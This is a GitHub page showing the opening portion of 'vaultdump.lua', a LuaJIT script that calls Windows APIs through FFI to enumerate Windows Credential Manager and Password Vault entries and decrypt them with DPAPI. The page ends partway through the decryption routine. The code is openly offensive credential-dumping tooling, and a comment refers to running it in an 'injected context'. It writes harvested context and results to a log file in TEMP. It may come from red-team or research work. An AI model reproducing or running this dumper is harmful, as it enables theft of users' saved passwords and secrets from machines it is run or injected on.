-
Notifications
You must be signed in to change notification settings - Fork 31
Expand file tree
/
Copy pathvaultdump.lua
More file actions
2121 lines (1790 loc) · 82.6 KB
/
vaultdump.lua
File metadata and controls
2121 lines (1790 loc) · 82.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
--[[
vaultdump.lua - Windows Password Vault & DPAPI Credential Dumper
Extracts and decrypts credentials from Windows Password Vault and DPAPI
Uses FFI to interface with Windows SDK APIs
]]
local ffi = require("ffi")
-- Disable JIT when running in injected context
if jit then
jit.off() -- Disable JIT compiler globally
jit.flush() -- Flush any existing JIT compiled code
end
-- Configuration
local CONFIG = {
VERBOSE = true,
DUMP_HEX = true,
EXPORT_FILE = nil, -- Set to filename to export results
INCLUDE_SYSTEM = true,
MAX_CREDENTIAL_SIZE = 64 * 1024,
DEBUG_DPAPI = true,
SEARCH_VCRD = true,
DECODE_BASE64 = true,
HEXDUMP_WIDTH = 16,
}
-- Global log file handle
local LOG_FILE = nil
local LOG_PATH = nil
-- Windows API Constants
local CRED_TYPE_GENERIC = 0x01
local CRED_TYPE_DOMAIN_PASSWORD = 0x02
local CRED_TYPE_DOMAIN_CERTIFICATE = 0x03
local CRED_TYPE_DOMAIN_VISIBLE_PASSWORD = 0x04
local CRED_TYPE_GENERIC_CERTIFICATE = 0x05
local CRED_TYPE_DOMAIN_EXTENDED = 0x06
local CRED_TYPE_MAXIMUM = 0x07
local CRED_PERSIST_SESSION = 0x01
local CRED_PERSIST_LOCAL_MACHINE = 0x02
local CRED_PERSIST_ENTERPRISE = 0x03
local CRYPTPROTECT_UI_FORBIDDEN = 0x01
local CRYPTPROTECT_LOCAL_MACHINE = 0x04
local CRYPTPROTECT_AUDIT = 0x10
-- Common DPAPI error codes
local ERROR_INVALID_DATA = 13 -- 0xD - The data is invalid
local ERROR_INVALID_PARAMETER = 87 -- 0x57 - The parameter is incorrect
local NTE_BAD_DATA = 0x80090005 -- Bad Data (wrong entropy, wrong user context, etc.)
local NTE_BAD_KEY = 0x80090003 -- Bad Key
local ERROR_NOT_SUPPORTED = 0x80070032 -- The request is not supported
local ERROR_SUCCESS = 0
-- Windows API Definitions
ffi.cdef[[
typedef unsigned long DWORD;
typedef unsigned short WORD;
typedef unsigned char BYTE;
typedef void* PVOID;
typedef void* HANDLE;
typedef const void* LPCVOID;
typedef wchar_t WCHAR;
typedef char CHAR;
typedef int BOOL;
typedef const WCHAR* LPCWSTR;
typedef WCHAR* LPWSTR;
typedef const CHAR* LPCSTR;
typedef CHAR* LPSTR;
typedef DWORD* LPDWORD;
typedef struct _FILETIME {
DWORD dwLowDateTime;
DWORD dwHighDateTime;
} FILETIME;
typedef struct _GUID {
DWORD Data1;
WORD Data2;
WORD Data3;
BYTE Data4[8];
} GUID;
typedef struct _CREDENTIAL_ATTRIBUTEW {
LPWSTR Keyword;
DWORD Flags;
DWORD ValueSize;
BYTE* Value;
} CREDENTIAL_ATTRIBUTEW;
typedef struct _CREDENTIALW {
DWORD Flags;
DWORD Type;
LPWSTR TargetName;
LPWSTR Comment;
FILETIME LastWritten;
DWORD CredentialBlobSize;
BYTE* CredentialBlob;
DWORD Persist;
DWORD AttributeCount;
CREDENTIAL_ATTRIBUTEW* Attributes;
LPWSTR TargetAlias;
LPWSTR UserName;
} CREDENTIALW, *PCREDENTIALW;
typedef struct _DATA_BLOB {
DWORD cbData;
BYTE* pbData;
} DATA_BLOB;
typedef struct _CRYPTPROTECT_PROMPTSTRUCT {
DWORD cbSize;
DWORD dwPromptFlags;
HANDLE hwndApp;
LPCWSTR szPrompt;
} CRYPTPROTECT_PROMPTSTRUCT;
// Credential Manager APIs
BOOL CredEnumerateW(
LPCWSTR Filter,
DWORD Flags,
DWORD* Count,
PCREDENTIALW** Credentials
);
void CredFree(PVOID Buffer);
BOOL CredReadW(
LPCWSTR TargetName,
DWORD Type,
DWORD Flags,
PCREDENTIALW* Credential
);
// DPAPI Functions
BOOL CryptUnprotectData(
DATA_BLOB* pDataIn,
LPWSTR* ppszDataDescr,
DATA_BLOB* pOptionalEntropy,
PVOID pvReserved,
CRYPTPROTECT_PROMPTSTRUCT* pPromptStruct,
DWORD dwFlags,
DATA_BLOB* pDataOut
);
BOOL CryptProtectData(
DATA_BLOB* pDataIn,
LPCWSTR szDataDescr,
DATA_BLOB* pOptionalEntropy,
PVOID pvReserved,
CRYPTPROTECT_PROMPTSTRUCT* pPromptStruct,
DWORD dwFlags,
DATA_BLOB* pDataOut
);
// Memory management
void* LocalFree(void* hMem);
void* LocalAlloc(DWORD uFlags, size_t uBytes);
// SID conversion
BOOL ConvertSidToStringSidW(
void* Sid,
LPWSTR* StringSid
);
// String conversion
int WideCharToMultiByte(
unsigned int CodePage,
DWORD dwFlags,
LPCWSTR lpWideCharStr,
int cchWideChar,
LPSTR lpMultiByteStr,
int cbMultiByte,
LPCSTR lpDefaultChar,
BOOL* lpUsedDefaultChar
);
int MultiByteToWideChar(
unsigned int CodePage,
DWORD dwFlags,
LPCSTR lpMultiByteStr,
int cbMultiByte,
LPWSTR lpWideCharStr,
int cchWideChar
);
// Vault APIs
DWORD VaultEnumerateVaults(
DWORD dwFlags,
DWORD* pdwVaultsCount,
void*** ppVaultGuids
);
DWORD VaultOpenVault(
const void* pVaultGuid,
DWORD dwFlags,
void** ppVault
);
DWORD VaultCloseVault(
void* pVault
);
DWORD VaultEnumerateItems(
void* pVault,
DWORD dwFlags,
DWORD* pdwItemsCount,
void** ppItems
);
DWORD VaultGetItem(
void* pVault,
const void* pSchemaId,
void* pResource,
void* pIdentity,
void* pPackageSid,
HANDLE hwndOwner,
DWORD dwFlags,
void** ppItem
);
DWORD VaultFree(
void* pMemory);
// Vault Item Structures
typedef struct _VAULT_ITEM_DATA {
DWORD dwType;
DWORD unknown1;
union {
struct {
DWORD length;
LPWSTR string;
} string_data;
struct {
DWORD length;
BYTE* data;
} byte_array;
DWORD dword_data;
BOOL bool_data;
GUID guid_data;
struct {
LPWSTR string;
} protected_string; // For type 7
void* sid; // For type 8 (SID pointer)
};
} VAULT_ITEM_DATA;
typedef struct _VAULT_ITEM_ELEMENT {
DWORD schemaElementId;
DWORD unknown1;
VAULT_ITEM_DATA data;
} VAULT_ITEM_ELEMENT;
typedef struct _VAULT_ITEM_7 {
GUID schemaId;
LPWSTR friendlyName;
VAULT_ITEM_ELEMENT* pResourceElement;
VAULT_ITEM_ELEMENT* pIdentityElement;
VAULT_ITEM_ELEMENT* pAuthenticatorElement;
FILETIME lastWritten;
DWORD dwFlags;
DWORD dwPropertiesCount;
VAULT_ITEM_ELEMENT* pProperties;
} VAULT_ITEM_7;
typedef struct _VAULT_ITEM_8 {
GUID schemaId;
LPWSTR friendlyName;
VAULT_ITEM_ELEMENT* pResourceElement;
VAULT_ITEM_ELEMENT* pIdentityElement;
VAULT_ITEM_ELEMENT* pAuthenticatorElement;
VAULT_ITEM_ELEMENT* pPackageSid;
FILETIME lastWritten;
DWORD dwFlags;
DWORD dwPropertiesCount;
VAULT_ITEM_ELEMENT* pProperties;
} VAULT_ITEM_8;
// Additional Windows APIs
DWORD GetLastError();
// Additional Windows APIs
DWORD GetEnvironmentVariableA(
LPCSTR lpName,
LPSTR lpBuffer,
DWORD nSize
);
DWORD GetComputerNameA(
LPSTR lpBuffer,
LPDWORD nSize
);
DWORD GetCurrentProcessId();
HANDLE GetCurrentProcess();
HANDLE OpenProcess(
DWORD dwDesiredAccess,
BOOL bInheritHandle,
DWORD dwProcessId
);
BOOL GetUserNameA(
LPSTR lpBuffer,
LPDWORD pcbBuffer
);
HANDLE GetCurrentThread();
BOOL OpenProcessToken(
HANDLE ProcessHandle,
DWORD DesiredAccess,
HANDLE* TokenHandle
);
BOOL GetTokenInformation(
HANDLE TokenHandle,
DWORD TokenInformationClass,
void* TokenInformation,
DWORD TokenInformationLength,
DWORD* ReturnLength
);
typedef struct _SID_AND_ATTRIBUTES {
void* Sid;
DWORD Attributes;
} SID_AND_ATTRIBUTES;
typedef struct _TOKEN_USER {
SID_AND_ATTRIBUTES User;
} TOKEN_USER;
BOOL ConvertSidToStringSidA(
void* Sid,
LPSTR* StringSid
);
DWORD GetModuleFileNameA(
HANDLE hModule,
LPSTR lpFilename,
DWORD nSize
);
// File operations
HANDLE CreateFileA(
LPCSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
void* lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
);
BOOL ReadFile(
HANDLE hFile,
void* lpBuffer,
DWORD nNumberOfBytesToRead,
LPDWORD lpNumberOfBytesRead,
void* lpOverlapped
);
BOOL CloseHandle(HANDLE hObject);
DWORD GetFileSize(
HANDLE hFile,
LPDWORD lpFileSizeHigh
);
HANDLE FindFirstFileA(
LPCSTR lpFileName,
void* lpFindFileData
);
BOOL FindNextFileA(
HANDLE hFindFile,
void* lpFindFileData
);
BOOL FindClose(HANDLE hFindFile);
typedef struct _WIN32_FIND_DATAA {
DWORD dwFileAttributes;
FILETIME ftCreationTime;
FILETIME ftLastAccessTime;
FILETIME ftLastWriteTime;
DWORD nFileSizeHigh;
DWORD nFileSizeLow;
DWORD dwReserved0;
DWORD dwReserved1;
CHAR cFileName[260];
CHAR cAlternateFileName[14];
} WIN32_FIND_DATAA;
]]
local advapi32 = ffi.load("Advapi32")
local crypt32 = ffi.load("Crypt32")
local kernel32 = ffi.load("Kernel32")
local vaultcli = ffi.load("vaultcli")
-- File constants
local GENERIC_READ = 0x80000000
local FILE_SHARE_READ = 0x00000001
local OPEN_EXISTING = 3
local FILE_ATTRIBUTE_NORMAL = 0x80
local INVALID_HANDLE_VALUE = ffi.cast("HANDLE", -1)
-- Logging Functions (forward declaration)
local log, debug_log
-- Function to get current process context for DPAPI troubleshooting
local function log_process_context()
log("\n[*] Process Context Information (for DPAPI troubleshooting):")
-- Current Process ID
local pid = kernel32.GetCurrentProcessId()
log(string.format(" Process ID: %d", pid))
-- Current Process Name
local proc_name = ffi.new("char[260]")
local name_len = kernel32.GetModuleFileNameA(nil, proc_name, 260)
if name_len > 0 then
local full_path = ffi.string(proc_name)
local name_only = full_path:match("([^\\]+)$") or full_path
log(string.format(" Process Name: %s", name_only))
log(string.format(" Process Path: %s", full_path))
end
-- Current Username (GetUserNameA is in advapi32.dll)
local username = ffi.new("char[260]")
local username_len = ffi.new("DWORD[1]", 260)
if advapi32.GetUserNameA(username, username_len) ~= 0 then
log(string.format(" Username: %s", ffi.string(username)))
end
-- Current User SID
pcall(function()
local TOKEN_QUERY = 0x0008
local TokenUser = 1
local token = ffi.new("HANDLE[1]")
if advapi32.OpenProcessToken(kernel32.GetCurrentProcess(), TOKEN_QUERY, token) ~= 0 then
local size = ffi.new("DWORD[1]")
advapi32.GetTokenInformation(token[0], TokenUser, nil, 0, size)
if size[0] > 0 then
local buffer = ffi.new("uint8_t[?]", size[0])
if advapi32.GetTokenInformation(token[0], TokenUser, buffer, size[0], size) ~= 0 then
local token_user = ffi.cast("TOKEN_USER*", buffer)
local sid_string = ffi.new("LPSTR[1]")
if advapi32.ConvertSidToStringSidA(token_user.User.Sid, sid_string) ~= 0 then
log(string.format(" User SID: %s", ffi.string(sid_string[0])))
ffi.C.LocalFree(sid_string[0])
end
end
end
kernel32.CloseHandle(token[0])
end
end)
-- Computer Name
local computer = ffi.new("char[260]")
local comp_size = ffi.new("DWORD[1]", 260)
if kernel32.GetComputerNameA(computer, comp_size) ~= 0 then
log(string.format(" Computer: %s", ffi.string(computer)))
end
log("")
end
local function init_log()
local temp = ffi.new("char[260]")
kernel32.GetEnvironmentVariableA("TEMP", temp, 260)
local temp_path = ffi.string(temp)
local computer = ffi.new("char[260]")
local size = ffi.new("DWORD[1]", 260)
kernel32.GetComputerNameA(computer, size)
local computer_name = ffi.string(computer)
local timestamp = os.date("%Y%m%d_%H%M%S")
LOG_PATH = string.format("%s\\%s_DPAPIdump_%s.log", temp_path, computer_name, timestamp)
LOG_FILE = io.open(LOG_PATH, "w")
if LOG_FILE then
-- Write initial log entries directly to avoid circular call
local function write_log(msg)
LOG_FILE:write(msg .. "\n")
LOG_FILE:flush()
if CONFIG.VERBOSE then
print(msg)
end
end
write_log("=================================================================")
write_log("Windows Credential Manager & Password Vault Dump")
write_log("Time: " .. os.date("%Y-%m-%d %H:%M:%S"))
write_log("=================================================================")
-- Set log function
log = write_log
debug_log = function(msg)
if CONFIG.DEBUG_DPAPI then
write_log("[DEBUG] " .. msg)
end
end
-- Log process context for DPAPI troubleshooting
log_process_context()
write_log("[+] Log file created: " .. LOG_PATH)
write_log(string.format("[*] Computer: %s", computer_name))
write_log(string.rep("=", 80))
return true
end
return false
end
log = function(message)
if LOG_FILE then
LOG_FILE:write(message .. "\n")
LOG_FILE:flush()
end
if CONFIG.VERBOSE then
print(message)
end
end
debug_log = function(message)
if CONFIG.DEBUG_DPAPI then
log("[DEBUG] " .. message)
end
end
-- Utility Functions
local function hexdump(data, size, offset)
offset = offset or 0
local result = {}
for i = 0, size - 1, CONFIG.HEXDUMP_WIDTH do
local hex_part = {}
local ascii_part = {}
for j = 0, CONFIG.HEXDUMP_WIDTH - 1 do
if i + j < size then
local byte = data[i + j]
table.insert(hex_part, string.format("%02X", byte))
if byte >= 32 and byte <= 126 then
table.insert(ascii_part, string.char(byte))
else
table.insert(ascii_part, ".")
end
else
table.insert(hex_part, " ")
table.insert(ascii_part, " ")
end
end
local line = string.format("%08X %-47s |%s|",
offset + i,
table.concat(hex_part, " "),
table.concat(ascii_part))
table.insert(result, line)
end
return table.concat(result, "\n")
end
local function is_base64(str)
if not str or #str == 0 then return false end
-- Check if string looks like base64
return str:match("^[A-Za-z0-9+/]+=*$") ~= nil and #str % 4 == 0 and #str > 20
end
local function decode_base64(str)
local b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
local b64lookup = {}
for i = 1, #b64chars do
b64lookup[b64chars:sub(i, i)] = i - 1
end
b64lookup['='] = 0
local result = {}
for i = 1, #str, 4 do
local a = b64lookup[str:sub(i, i)] or 0
local b = b64lookup[str:sub(i+1, i+1)] or 0
local c = b64lookup[str:sub(i+2, i+2)] or 0
local d = b64lookup[str:sub(i+3, i+3)] or 0
local n = bit.bor(bit.lshift(a, 18), bit.lshift(b, 12), bit.lshift(c, 6), d)
table.insert(result, string.char(bit.rshift(n, 16)))
if str:sub(i+2, i+2) ~= '=' then
table.insert(result, string.char(bit.band(bit.rshift(n, 8), 0xFF)))
end
if str:sub(i+3, i+3) ~= '=' then
table.insert(result, string.char(bit.band(n, 0xFF)))
end
end
return table.concat(result)
end
local function wstring_to_string(wstr)
if wstr == nil or wstr == ffi.NULL then
return nil
end
local CP_UTF8 = 65001
local len = ffi.C.WideCharToMultiByte(CP_UTF8, 0, wstr, -1, nil, 0, nil, nil)
if len <= 0 then
return nil
end
local buf = ffi.new("char[?]", len)
ffi.C.WideCharToMultiByte(CP_UTF8, 0, wstr, -1, buf, len, nil, nil)
return ffi.string(buf)
end
local function string_to_wstring(str)
if not str then
return nil
end
local CP_UTF8 = 65001
local len = ffi.C.MultiByteToWideChar(CP_UTF8, 0, str, -1, nil, 0)
if len <= 0 then
return nil
end
local wbuf = ffi.new("WCHAR[?]", len)
ffi.C.MultiByteToWideChar(CP_UTF8, 0, str, -1, wbuf, len)
return wbuf
end
local function bytes_to_hex(data, size)
local hex = {}
for i = 0, size - 1 do
table.insert(hex, string.format("%02X", data[i]))
end
return table.concat(hex, " ")
end
local function bytes_to_string(data, size)
local result = {}
for i = 0, size - 1 do
local byte = data[i]
if byte >= 32 and byte <= 126 then
table.insert(result, string.char(byte))
else
table.insert(result, ".")
end
end
return table.concat(result)
end
local function is_printable(data, size)
local printable_count = 0
local null_count = 0
for i = 0, size - 1 do
local byte = data[i]
if byte == 0 then
null_count = null_count + 1
elseif byte >= 32 and byte <= 126 then
printable_count = printable_count + 1
end
end
-- Consider printable if >70% printable chars (excluding nulls)
local non_null = size - null_count
return non_null > 0 and (printable_count / non_null) > 0.7
end
-- Base64 decoder
local function decode_base64(str)
if not str then return nil end
local b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
local b64lookup = {}
for i = 1, #b64chars do
b64lookup[b64chars:sub(i, i)] = i - 1
end
b64lookup['='] = 0
local result = {}
local padding = 0
for chunk in str:gmatch('....') do
if #chunk ~= 4 then break end
local n = 0
local chars_in_chunk = 0
for i = 1, 4 do
local c = chunk:sub(i, i)
if c == '=' then
padding = padding + 1
else
local val = b64lookup[c]
if val then
n = n * 64 + val
chars_in_chunk = chars_in_chunk + 1
else
return nil -- Invalid base64
end
end
end
-- Always shift to align properly
n = n * (64 ^ (4 - chars_in_chunk - padding))
-- Extract bytes (3 bytes from 4 base64 chars)
table.insert(result, string.char(math.floor(n / 65536) % 256))
if padding < 2 then
table.insert(result, string.char(math.floor(n / 256) % 256))
end
if padding < 1 then
table.insert(result, string.char(n % 256))
end
end
return table.concat(result)
end
-- Extract printable strings from binary data
local function extract_strings(data, min_length)
min_length = min_length or 4
local strings = {}
local current = {}
for i = 1, #data do
local byte = data:byte(i)
-- Check if printable ASCII (space to ~)
if byte >= 32 and byte <= 126 then
table.insert(current, string.char(byte))
else
if #current >= min_length then
table.insert(strings, table.concat(current))
end
current = {}
end
end
-- Don't forget the last string
if #current >= min_length then
table.insert(strings, table.concat(current))
end
return strings
end
-- Full hex dump of binary data (no limit)
local function hexdump_full(data, label)
if not data or #data == 0 then return "" end
local result = {}
table.insert(result, string.format("%s (%d bytes):", label or "Hex dump", #data))
for i = 1, #data, 16 do
local hex_part = {}
local ascii_part = {}
for j = 0, 15 do
if i + j <= #data then
local byte = data:byte(i + j)
table.insert(hex_part, string.format("%02X", byte))
if byte >= 32 and byte <= 126 then
table.insert(ascii_part, string.char(byte))
else
table.insert(ascii_part, ".")
end
else
table.insert(hex_part, " ")
table.insert(ascii_part, " ")
end
end
local offset = i - 1
table.insert(result, string.format(" %08X: %s %s %s %s | %s",
offset,
table.concat(hex_part, " ", 1, 4),
table.concat(hex_part, " ", 5, 8),
table.concat(hex_part, " ", 9, 12),
table.concat(hex_part, " ", 13, 16),
table.concat(ascii_part)))
end
return table.concat(result, "\n")
end
-- Analyze DPAPI blob structure
local function analyze_dpapi_blob(data)
if not data or #data < 24 then
return "Blob too small to be valid DPAPI"
end
local info = {}
-- DPAPI blob structure:
-- 0x00-0x03: Version (should be 0x01000000)
-- 0x04-0x13: Provider GUID
-- 0x14-0x17: MasterKey version
-- 0x18-0x27: MasterKey GUID
-- 0x28+: Flags, description, and encrypted data
-- Read version as little-endian DWORD (manually since string.unpack not in LuaJIT)
local b1, b2, b3, b4 = data:byte(1, 4)
local version = b1 + b2 * 256 + b3 * 65536 + b4 * 16777216
if version == 0x01000000 then
table.insert(info, "✓ Valid DPAPI blob (version 1)")
else
table.insert(info, string.format("✗ Invalid version: 0x%08X (expected 0x01000000)", version))
end
-- Extract Provider GUID (bytes 4-19)
local provider_guid = {}
for i = 5, 20 do
table.insert(provider_guid, string.format("%02X", data:byte(i)))
end
table.insert(info, "Provider GUID: " .. table.concat(provider_guid, ""))
-- Extract MasterKey GUID (bytes 24-39)
if #data >= 40 then
local mk_guid = {}
for i = 25, 40 do
table.insert(mk_guid, string.format("%02X", data:byte(i)))
end
table.insert(info, "MasterKey GUID: " .. table.concat(mk_guid, ""))
end
-- Check for common indicators
table.insert(info, "")
table.insert(info, "Decryption Requirements:")
table.insert(info, "• User's master key must be available (user-specific)")
table.insert(info, "• If entropy was used, the SAME entropy must be provided")
table.insert(info, "• Application may use custom entropy stored in:")
table.insert(info, " - Registry keys")
table.insert(info, " - Configuration files")
table.insert(info, " - Hardcoded in application binary")
table.insert(info, " - Derived from username/machine name/SID")
return table.concat(info, "\n")
end
local function filetime_to_string(ft)
local low = tonumber(ft.dwLowDateTime)
local high = tonumber(ft.dwHighDateTime)
if low == 0 and high == 0 then
return "Never"
end
-- Convert FILETIME to 64-bit value
local time64 = high * 4294967296 + low
-- FILETIME epoch is January 1, 1601
-- Convert to Unix epoch (January 1, 1970)
local FILETIME_1970 = 116444736000000000
if time64 < FILETIME_1970 then
return "Invalid"
end
-- Convert from 100-nanosecond intervals to seconds
local unix_time = (time64 - FILETIME_1970) / 10000000
-- Protect against invalid dates
if unix_time < 0 or unix_time > 2147483647 then
return "Invalid"
end
return os.date("%Y-%m-%d %H:%M:%S", unix_time)
end
local function get_cred_type_string(type)
local types = {
[CRED_TYPE_GENERIC] = "Generic",
[CRED_TYPE_DOMAIN_PASSWORD] = "Domain Password",
[CRED_TYPE_DOMAIN_CERTIFICATE] = "Domain Certificate",
[CRED_TYPE_DOMAIN_VISIBLE_PASSWORD] = "Domain Visible Password",
[CRED_TYPE_GENERIC_CERTIFICATE] = "Generic Certificate",
[CRED_TYPE_DOMAIN_EXTENDED] = "Domain Extended",
}
return types[type] or string.format("Unknown (0x%X)", type)
end
local function get_persist_string(persist)
local types = {
[CRED_PERSIST_SESSION] = "Session",
[CRED_PERSIST_LOCAL_MACHINE] = "Local Machine",
[CRED_PERSIST_ENTERPRISE] = "Enterprise",
}
return types[persist] or string.format("Unknown (0x%X)", persist)
end
-- DPAPI Decryption
local function dpapi_decrypt(encrypted_data, data_size, description)
description = description or "unknown"
debug_log(string.format("Attempting DPAPI decryption on %d bytes (%s)", data_size, description))
-- Convert Lua string to FFI buffer if needed
local data_ptr
if type(encrypted_data) == "string" then
-- It's a Lua string, copy to FFI buffer
local buffer = ffi.new("BYTE[?]", data_size)
ffi.copy(buffer, encrypted_data, data_size)
data_ptr = buffer
else
-- Assume it's already an FFI pointer
data_ptr = encrypted_data
end
local attempts = {
{name = "UI_FORBIDDEN", flags = CRYPTPROTECT_UI_FORBIDDEN},
{name = "UI_FORBIDDEN + LOCAL_MACHINE", flags = bit.bor(CRYPTPROTECT_UI_FORBIDDEN, CRYPTPROTECT_LOCAL_MACHINE)},
{name = "UI_FORBIDDEN + AUDIT", flags = bit.bor(CRYPTPROTECT_UI_FORBIDDEN, CRYPTPROTECT_AUDIT)},
{name = "No flags", flags = 0},
}
for _, attempt in ipairs(attempts) do
debug_log(string.format("DPAPI attempt with flags: %s (0x%X)", attempt.name, attempt.flags))
local data_in = ffi.new("DATA_BLOB")
data_in.cbData = data_size
data_in.pbData = data_ptr
local data_out = ffi.new("DATA_BLOB")
local descr = ffi.new("LPWSTR[1]")
local ok, result = pcall(function()
return crypt32.CryptUnprotectData(
data_in,
descr,
nil,
nil,
nil,
attempt.flags,
data_out
)
end)
if not ok then
debug_log(string.format("DPAPI call crashed: %s", tostring(result)))
elseif result ~= 0 then
debug_log(string.format("DPAPI decryption SUCCESS with %s", attempt.name))
local decrypted = ffi.string(data_out.pbData, data_out.cbData)
local descr_str = nil
if descr[0] ~= nil and descr[0] ~= ffi.NULL then
descr_str = wstring_to_string(descr[0])
debug_log(string.format("DPAPI description: %s", descr_str or "N/A"))
end
if data_out.pbData ~= nil then
ffi.C.LocalFree(data_out.pbData)
end
if descr[0] ~= nil then
ffi.C.LocalFree(descr[0])
end
return decrypted, descr_str
else
local err = kernel32.GetLastError()
local err_msg = "Unknown error"
-- Translate common DPAPI error codes
if err == ERROR_INVALID_DATA or err == 0x8009000D then
err_msg = "ERROR_INVALID_DATA - Data format invalid or corrupted"
elseif err == ERROR_INVALID_PARAMETER then
err_msg = "ERROR_INVALID_PARAMETER - Invalid parameter"
elseif err == NTE_BAD_DATA then
err_msg = "NTE_BAD_DATA - Wrong entropy/salt, wrong user context, or data encrypted with additional secrets"
elseif err == NTE_BAD_KEY then
err_msg = "NTE_BAD_KEY - Decryption key not available"
elseif err == ERROR_NOT_SUPPORTED then
err_msg = "ERROR_NOT_SUPPORTED - Operation not supported with these flags"
end
debug_log(string.format("DPAPI decryption FAILED with error: 0x%X - %s", err, err_msg))
-- Only show hints for NTE_BAD_DATA (wrong entropy), not ERROR_INVALID_DATA (not DPAPI blob)
if err == NTE_BAD_DATA then
debug_log(" -> Likely cause: Application used custom entropy (salt) during encryption")
end
end
end
debug_log("All DPAPI decryption attempts failed")